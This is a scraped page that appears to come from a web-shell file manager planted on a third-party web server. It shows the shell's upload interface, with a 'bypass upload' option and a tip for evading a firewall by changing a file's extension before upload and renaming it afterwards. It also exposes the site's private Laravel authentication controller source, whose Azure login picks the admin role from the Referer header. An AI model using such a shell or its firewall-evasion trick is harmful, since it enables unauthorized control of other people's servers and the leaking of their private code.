Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
multi-event-cfp.bitkit.dk
httpdocs
app
Http
Controllers
File Content:
AuthController.php
<?php namespace App\Http\Controllers; use App\Repositories\AuthRepository; use App\Support\Entity; use Exception; use Illuminate\Contracts\Foundation\Application; use Illuminate\Contracts\Routing\ResponseFactory; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Support\Facades\Http; use App\Models\User; use App\Models\Event; use Illuminate\Support\Facades\Auth; class AuthController extends Controller { protected $repository; protected $roles; public function __construct(AuthRepository $authRepository) { $this->repository = $authRepository; $this->roles = [ "super_admin", "event_admin", "event_submitter", "event_reviewer", "event_co_chair" ]; } /** * @param Request $request * @param $role * @return Entity|Application|ResponseFactory|JsonResponse|Response * @throws Exception */ public function login(Request $request, $role) { try { if (!in_array($role, $this->roles)) return response([ 'status' => false, 'message' => "Invalid role" ]); return $this->repository->authenticate($request, $role); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } // azure login public function azureLogin(Request $request) { try { $token = $request->input('token'); // Verify token with Microsoft API $response = Http::withHeaders([ 'Authorization' => 'Bearer ' . $token ])->get('https://graph.microsoft.com/v1.0/me'); // response failure if ($response->failed()) { return response()->json(["errors" => ["msg" => "Invalid token"], "status" => false], 404); } // user data $userData = $response->json(); // user mail $email = $userData['mail'] ?? $userData['userPrincipalName']; // Check if user exists in th platform $user = User::where('email', $email)->first(); if (!$user) { return response()->json(["errors" => ["email" => ["User not found"]], "status" => false], 404); } // input values $input = $request->all(); // event slug $eventSlug = $input["event_slug"] ?? ''; // event $event = Event::whereSlugName($eventSlug)->first(); // Determine role based on referer URL (admin vs hq) $referer = $request->header('referer', ''); $role = (strpos($referer, '/hq/') !== false) ? 'super_admin' : 'event_admin'; // Log in the user Auth::login($user, false); if ($role) { $userRoleCheck = false; if ($role === 'super_admin') { $userRoleCheck = $user->hasRole($role); } elseif ($event) { // event user $eventUser = getEventUser($event, $user); // check role $userRoleCheck = $eventUser && $eventUser->hasRole($role); } else { // user with role $userWithRole = $user->hasEventRole($role); if (count($userWithRole) > 0) { $userRoleCheck = true; } } if (!$userRoleCheck) { Auth::logout(); return response()->json(["errors" => ["email" => ["Not a valid user"]], "status" => false], 404); } } if ($user->valid) { $user->events = $user->getEventWithRoles()->get(); activity('user.login') ->causedBy($user) ->log('User logged in'); return response()->json( [ "message" => "success", "status" => true, "user" => $user, "have_abstracts" => 0, "role" => $role ], 200 ); } else { return response()->json(["errors" => ["email" => ["Not a valid user"]], "status" => false], 404); } } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } /** * @param Request $request * @return Entity|Application|ResponseFactory|Response * @throws Exception */ public function logout(Request $request) { try { return $this->repository->logout($request); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } public function generateForgotPasswordLink(Request $request) { try { return $this->repository->generateForgotPasswordLink($request); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } public function checkForgotPasswordToken(Request $request) { try { return $this->repository->checkForgotPasswordToken($request); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } public function resetPassword(Request $request) { try { return $this->repository->resetPassword($request); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } }
Edit
Download
Unzip
Chmod
Delete